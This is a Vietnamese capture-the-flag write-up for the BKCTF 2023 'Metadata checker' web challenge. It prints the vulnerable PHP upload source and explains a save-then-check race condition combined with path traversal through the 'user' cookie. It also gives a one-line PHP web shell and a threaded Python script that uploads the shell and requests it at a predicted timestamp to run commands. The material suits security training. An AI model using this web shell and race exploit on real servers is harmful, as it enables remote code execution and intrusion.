Logo
BKCTF 2023 - Metadata checker

BKCTF 2023 - Metadata checker

August 18, 2023
5 min read
Table of Contents
index

Web cho mình upload 1 file ảnh định dạng jpg lên và sẽ hiển thị ra metadata của bức ảnh đó

Ở đây mình đã upload bức ảnh có tên là ocean.jpeg.

Phân tích

<?php
error_reporting(0);
setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days
if (isset($_FILES) && !empty($_FILES)) {
$uploadpath = "/var/tmp/";
$error = "";
$timestamp = time();
$userValue = $_COOKIE['user'];
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
if ($_FILES["image"]["size"] > 1048576) {
$error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
} elseif ($_FILES["image"]["type"] !== "image/jpeg") {
$error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
} else {
$exif = exif_read_data($target_file, 0, true);
if ($exif === false) {
$error .= '<p class="h5 text-danger">No metadata found.</p>';
} else {
$metadata = '<table class="table table-striped">';
foreach ($exif as $key => $section) {
$metadata .=
'<thead><tr><th colspan="2" class="text-center">' .
$key .
"</th></tr></thead><tbody>";
foreach ($section as $name => $value) {
$metadata .=
"<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
}
$metadata .= "</tbody>";
}
$metadata .= "</table>";
}
}
}
?>
<!DOCTYPE html>
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
<html lang="en" data-bs-theme="auto">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BKSEC Metadata checker</title>
<link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="assets/dist/css/checkout.css" rel="stylesheet">
<link rel="icon" href="assets/images/logo.png" type="image/png">
</head>
<body class="bg-body-tertiary">
<div class="container">
<main>
<div class="py-5 text-center">
<a href="/"><img class="d-block mx-auto mb-4" src="assets/images/logo.png" alt="" width="72"></a>
<h2>BKSEC Metadata checker</h2>
<p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
</div>
<form action="/index.php" method="post" enctype="multipart/form-data">
<label class="h5 form-label">Upload your image</label>
<input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
<div class="col text-center">
<button class="btn btn-primary btn-lg" type="submit">Upload</button>
</div>
</form>
<?php
// I want to show a loading effect within 1.5s here but don't know how to use javascript
sleep(1.5);
// This might be okay..... I think so
// My teammates will help me fix it later, I hope they don't forget that ........
echo $error;
echo $metadata;
unlink($target_file);
?>
</main>
<footer class="my-5 pt-5 text-body-secondary text-center text-small">
<p class="mb-1">&copy; 2023 CLB An Toàn Thông Tin - BKHN</p>
</footer>
</div>
<script src="assets/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Ý tưởng của bài này lấy từ post về race condition của vnpt sec.

Ok quay lại phân tích source nào. Cách hoạt động của web này là:

  1. Upload file

  2. Đổi tên file

  3. Lưu file

  4. Check đủ thứ

  5. Hiển thị kết quả

  6. Xoá fille

Có thể thấy lỗi logic cực kì nghiêm trọng ở đây, thay vì check trước rồi mới lưu thì lại lưu rồi check rồi mới xoá. Đã thế không xoá ngay lúc check định dạng file mà phải chờ 1.5s sau khi kiểm tra hết mọi thứ rồi mới check. Đây chính là thứ dẫn tới Race condition.

Mình có thể up file php lên và gọi đến nó để có thể thực thi code bẩn ngay trước khi nó bị xoá khỏi server.

NHƯNG

File được up lên lại ở /var/tmp/ nơi user không thể với tới =(( Vậy thì phải tìm cách chuyển file này sang 1 dir khác mà được public ra ngoài internet. Ở đây mình sẽ chọn /var/www/html/assets/images/

Path traversal

Để làm được điều này thì mình phải thay đổi được tên của file. Thay vì BKSEC_guest_<timestamp>_<tên>.jpeg sẽ phải là ../www/html/assets/images/_<timestamp>_<tên>.jpeg

Điều này có thể dễ thực hiện bằng cách đổi giá trị của cookie user thành ../www/html/assets/images/

Race

Ok vậy vấn đề về việc up file đến public folder đã xong. Và nhiệm vụ còn lại là thực hiện race mà thôi.

Tuy nhiên với mỗi lần file up lên thì server sẽ gắn timestamp vào tên file. Như ý tưởng từ bài post của VPNT sec ở trên. Chúng ta có thể thực hiện race bằng cách up liên tục và đồng thời gọi 1 file có timestamp mà mình đoán trước sẽ xuất hiện trong tương lai để gọi tới.

VD: mình up file lên và thời điểm 1691546583 thì mình sẽ liên tục up và gọi đến file 1691546586 (sau thời điểm up 3s).

Exploit

Kết nối mọi thứ lại với nhau, mình sử dụng script này

Terminal window
<?php system($_REQUEST['cmd']); ?>
Terminal window
import time
import requests
from urllib.parse import quote
from multiprocessing.dummy import Pool as ThreadPool
current_timestamp = int(time.time())
print("Current timestamp: ", current_timestamp)
new_timestamp = current_timestamp + 3
print("New timestamp:", new_timestamp)
proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
file_name = "a.php"
cmd = ""
download_path = f"assets/images/_{new_timestamp}_{file_name}?cmd={quote(cmd)}"
download_url_with_timestamp = f"http://127.0.0.1/{download_path}"
cookie = {"user": "../www/html/assets/images/"}
def get(i):
while True:
with open(file_name, "rb") as file:
response = requests.post("http://127.0.0.1/index.php", files={"image": file}, proxies=proxies, cookies=cookie)
response = requests.get(download_url_with_timestamp, proxies=proxies)
if "BKSEC" in response.text:
print("FLAG FOUND!")
print(response.text)
break
pool = ThreadPool(10)
result = pool.map_async(get, range(20)).get(6)

Script trên sẽ liên tục up file độc hại a.php lên và liên tục gọi đến file kèm command mình muốn thực thi ở phía sau. Set proxy 127.0.0.1:8080 để có thể xem các request trên burpsuite. Nếu không thành công thì có thể nới rộng thời gian chạy của script bằng cách tăng thời gian khác biệt giữa thời điểm bắt đầu up file và file ước lượng sẽ có ở tương lai ở dòng 8 và tăng thời gian chạy của script ở dòng 34.

Vì Dockerfile cho chúng ta biết vị trí của flag là /flag.txt nên chúng ta có thể cat luôn file này thay vì phải đi tìm flag ở đâu. Khi chạy script trên thu được kết quả:

Nếu set proxy thì có thể thấy request burpsuite như thế này: